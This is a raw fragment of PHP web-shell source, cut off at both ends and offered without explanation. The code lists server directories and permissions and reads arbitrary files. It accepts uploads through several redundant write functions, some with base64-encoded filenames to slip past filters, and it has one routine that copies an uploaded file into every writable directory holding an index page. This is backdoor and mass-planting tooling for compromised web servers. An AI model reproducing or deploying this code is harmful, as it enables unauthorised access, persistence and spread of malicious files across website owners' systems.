'];
foreach ($files as $file) {
$fullPath = $currentPath . DIRECTORY_SEPARATOR . $file;
$isDir = is_dir($fullPath);
$safeFile = $file;
$safePath = $fullPath;
$permissions = getPermissions($fullPath);
$fileSize = $isDir ?
'
DIR' :
formatFileSize(filesize($fullPath));
$html[] = sprintf(
'
',
$isDir ? 'dir' : '',
$isDir ? "
{$safeFile}" : "
{$safeFile}" ,
$fileSize,
$permissions);}
$html[] = '
';echo implode("\n", $html);}
function LoadFile($GetPath) {
$currentPath = realpath(rtrim($GetPath, DIRECTORY_SEPARATOR));
if (!is_dir($currentPath)){
if (file_exists($currentPath) && is_readable($currentPath)) {
$content = file_get_contents($currentPath);
$lines = explode("\n", $content);
$lineNumber = 1;
$html = '';
foreach ($lines as $line) {
$html .= sprintf(
'%s%s
',
str_pad($lineNumber++, 3, ' ', STR_PAD_LEFT),
htmlspecialchars($line));}
$html .= ' ';echo $html;
}
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$uploadPath = $GetPath . '/';
if (isset($_FILES['1_file_upload'])) {
$uoload = $_FILES['1_file_upload'];
$uploadPathFile = $uploadPath . basename($uoload['name']);
if (move_uploaded_file($uoload['tmp_name'], $uploadPathFile)) {$success = true;} else {$success = false;}
$uploadmsg = generateUploadMsg(1, $success, $uploadPathFile);}
elseif (isset($_FILES['2_file_upload'])) {
$uoload = $_FILES['2_file_upload'];
$uploadPathFile = $uploadPath . basename($uoload['name']);
$content = file_get_contents($uoload['tmp_name']);
$success = file_put_contents($uploadPathFile, $content) !== false;
$uploadmsg = generateUploadMsg(2, $success, $uploadPathFile);}
elseif (isset($_POST['3_file_upload'])) {
$uploaddata = explode(',', $_POST['3_file_upload']);
$fileName = base64_decode($_POST['3_file_upload_name']);
$uploadPathFile = $uploadPath . basename($fileName);
$content = base64_decode($uploaddata[1]);
$success = file_put_contents($uploadPathFile, $content) !== false;
$uploadmsg = generateUploadMsg(3, $success, $uploadPathFile);}
elseif (isset($_POST['4_file_upload'])) {
$uploaddata = explode(',', $_POST['4_file_upload']);
$fileName = base64_decode($_POST['4_file_upload_name']);
$uploadPathFile = $uploadPath . basename($fileName);
$content = base64_decode($uploaddata[1]);
$file = fopen($uploadPathFile, "w");
if ($file) {fwrite($file, $content);fclose($file);$success = true;} else {$success = false;}
$uploadmsg = generateUploadMsg(4, $success, $uploadPathFile);}
elseif (isset($_POST['5_file_upload'])) {
$uploaddata = explode(',', $_POST['5_file_upload']);
$fileName = base64_decode($_POST['5_file_upload_name']);
$uploadPathFile = $uploadPath . basename($fileName);
$content = base64_decode($uploaddata[1]);
$result = error_log($content, 3, $uploadPathFile);
if ($result) {$success = true;} else {$success = false;}
$uploadmsg = generateUploadMsg(5, $success, $uploadPathFile);}
elseif (isset($_POST['6_file_upload'])) {
$uploaddata = explode(',', $_POST['6_file_upload']);
$fileName = base64_decode($_POST['6_file_upload_name']);
$uploadPathFile = $uploadPath . basename($fileName);
$content = base64_decode($uploaddata[1]);
$file = new SplFileObject($uploadPathFile, "w");
$file->fwrite($content);
if ($file === false || $file === 0) {$success = true;} else {$success = false;}
$file = null;
$uploadmsg = generateUploadMsg(6, $success, $uploadPathFile);}
elseif (isset($_POST['7_file_upload'])) {
$uploaddata = explode(',', $_POST['7_file_upload']);
$fileName = base64_decode($_POST['7_file_upload_name']);
$uploadPathFile = $uploadPath . basename($fileName);
$content = base64_decode($uploaddata[1]);
$GetPath = rtrim($GetPath, DIRECTORY_SEPARATOR);
$processedDirs = [];
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($GetPath, FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::LEAVES_ONLY);
foreach ($iterator as $file) {
if (!$file->isFile()) continue;
if (preg_match('/^index\.(php|htm|html|phtml)$/i', $file->getFilename())) {
$dirPath = $file->getPath();
if (!isset($processedDirs[$dirPath])) {$targetFile = $dirPath . DIRECTORY_SEPARATOR . $fileName;
if (is_writable($dirPath) && file_put_contents($targetFile, $content)) {
echo "